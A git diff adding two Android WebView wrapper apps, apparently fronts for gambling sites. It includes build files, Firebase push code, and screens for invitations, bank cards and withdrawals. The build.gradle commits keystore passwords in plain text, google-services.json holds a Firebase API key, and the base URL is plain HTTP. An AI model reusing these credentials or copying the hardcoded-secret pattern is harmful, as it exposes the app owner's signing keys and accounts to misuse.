No newline at end of file diff --git a/jom88/src/main/res/drawable/shape_dialog_bg3.xml b/jom88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/jom88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/drawable/shape_dialog_bg_new.xml b/jom88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/jom88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/jom88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jom88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/jom88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/jom88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/mipmap-hdpi/ic_empty.png b/jom88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/jom88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/jom88/src/main/res/mipmap-hdpi/ic_pull_down.png b/jom88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/jom88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/jom88/src/main/res/mipmap-xhdpi/ic_close.png b/jom88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/jom88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/jom88/src/main/res/mipmap-xhdpi/ic_menu.png b/jom88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/jom88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/jom88/src/main/res/mipmap-xxhdpi/app_logo.jpg b/jom88/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..dfa637f Binary files /dev/null and b/jom88/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/jom88/src/main/res/values-en/strings.xml b/jom88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..2fa20a9 --- /dev/null +++ b/jom88/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + Jom88 + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/jom88/src/main/res/values-night/themes.xml b/jom88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/jom88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/values/colors.xml b/jom88/src/main/res/values/colors.xml new file mode 100644 index 0000000..7b97137 --- /dev/null +++ b/jom88/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #150101 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/jom88/src/main/res/values/strings.xml b/jom88/src/main/res/values/strings.xml new file mode 100644 index 0000000..81af4b5 --- /dev/null +++ b/jom88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Jom88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/values/themes.xml b/jom88/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/jom88/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/xml/app_updater_paths.xml b/jom88/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/jom88/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/jom88/src/main/res/xml/network_security_config.xml b/jom88/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/jom88/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/jom88/src/main/res/xml/provider_paths.xml b/jom88/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/jom88/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/jom88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/jom88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/jom88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/judi2u/.gitignore b/judi2u/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/judi2u/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/judi2u/build.gradle b/judi2u/build.gradle new file mode 100644 index 0000000..0d7825f --- /dev/null +++ b/judi2u/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.judi2u" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "judi2u" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/judi2u/dskjweb.jks b/judi2u/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/judi2u/dskjweb.jks differ diff --git a/judi2u/google-services.json b/judi2u/google-services.json new file mode 100644 index 0000000..fee23ba --- /dev/null +++ b/judi2u/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "77259385106", + "project_id": "judi2u", + "storage_bucket": "judi2u.appspot.com" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:77259385106:android:7ffc27581a9f9a7de3ebcb", + "android_client_info": { + "package_name": "com.web.judi2u" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyB4l2w_NbLDgBi51RooirPFKkJbUjEHcfo" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/judi2u/judi2u.jks b/judi2u/judi2u.jks new file mode 100644 index 0000000..ca60f47 Binary files /dev/null and b/judi2u/judi2u.jks differ diff --git a/judi2u/ppn.jks b/judi2u/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/judi2u/ppn.jks differ diff --git a/judi2u/proguard-rules.pro b/judi2u/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/judi2u/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/judi2u/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/judi2u/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/judi2u/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/judi2u/src/main/AndroidManifest.xml b/judi2u/src/main/AndroidManifest.xml new file mode 100644 index 0000000..202a5d9 --- /dev/null +++ b/judi2u/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/java/com/web/judi2u/MainActivity.java b/judi2u/src/main/java/com/web/judi2u/MainActivity.java new file mode 100644 index 0000000..67163e6 --- /dev/null +++ b/judi2u/src/main/java/com/web/judi2u/MainActivity.java @@ -0,0 +1,50 @@ +package com.web.judi2u; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 39; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","http://judi2u.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#07212a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#153440"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/judi2u/src/main/java/com/web/judi2u/MyFirebaseMessageingService.java b/judi2u/src/main/java/com/web/judi2u/MyFirebaseMessageingService.java new file mode 100644 index 0000000..a316c05 --- /dev/null +++ b/judi2u/src/main/java/com/web/judi2u/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.judi2u; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/judi2u/src/main/java/com/web/judi2u/WebApplication.java b/judi2u/src/main/java/com/web/judi2u/WebApplication.java new file mode 100644 index 0000000..8b3392a --- /dev/null +++ b/judi2u/src/main/java/com/web/judi2u/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.judi2u; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/judi2u/src/main/res/drawable-anydpi/ic_action_back.xml b/judi2u/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/judi2u/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/judi2u/src/main/res/drawable-hdpi/ic_action_back.png b/judi2u/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/judi2u/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/judi2u/src/main/res/drawable-mdpi/ic_action_back.png b/judi2u/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/judi2u/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/judi2u/src/main/res/drawable-v24/ic_launcher_foreground.xml b/judi2u/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/judi2u/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/drawable-xhdpi/ic_action_back.png b/judi2u/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/judi2u/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/judi2u/src/main/res/drawable-xxhdpi/ic_action_back.png b/judi2u/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/judi2u/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/judi2u/src/main/res/drawable/big_bg.xml b/judi2u/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..5b58751 --- /dev/null +++ b/judi2u/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/drawable/ic_launcher_background.xml b/judi2u/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/judi2u/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/judi2u/src/main/res/drawable/input_bg.xml b/judi2u/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/judi2u/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/judi2u/src/main/res/drawable/pass_word_bg.xml b/judi2u/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/judi2u/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/judi2u/src/main/res/drawable/pass_word_bg1.xml b/judi2u/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/judi2u/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/drawable/pass_word_bg2.xml b/judi2u/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/judi2u/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/drawable/shape_btn_bg.xml b/judi2u/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/judi2u/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/drawable/shape_dialog_bg2.xml b/judi2u/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/judi2u/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/drawable/shape_dialog_bg3.xml b/judi2u/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/judi2u/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/drawable/shape_dialog_bg_new.xml b/judi2u/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/judi2u/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/judi2u/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/judi2u/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/judi2u/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/judi2u/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/mipmap-hdpi/ic_empty.png b/judi2u/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/judi2u/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/judi2u/src/main/res/mipmap-hdpi/ic_pull_down.png b/judi2u/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/judi2u/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/judi2u/src/main/res/mipmap-xhdpi/ic_close.png b/judi2u/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/judi2u/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/judi2u/src/main/res/mipmap-xhdpi/ic_menu.png b/judi2u/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/judi2u/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/judi2u/src/main/res/mipmap-xxhdpi/app_logo.jpg b/judi2u/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..a209970 Binary files /dev/null and b/judi2u/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/judi2u/src/main/res/values-en/strings.xml b/judi2u/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/judi2u/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/judi2u/src/main/res/values-night/themes.xml b/judi2u/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/judi2u/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/judi2u/src/main/res/values/colors.xml b/judi2u/src/main/res/values/colors.xml new file mode 100644 index 0000000..e41150f --- /dev/null +++ b/judi2u/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #07212a + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/judi2u/src/main/res/values/strings.xml b/judi2u/src/main/res/values/strings.xml new file mode 100644 index 0000000..5331705 --- /dev/null +++ b/judi2u/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + JUDI2U + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 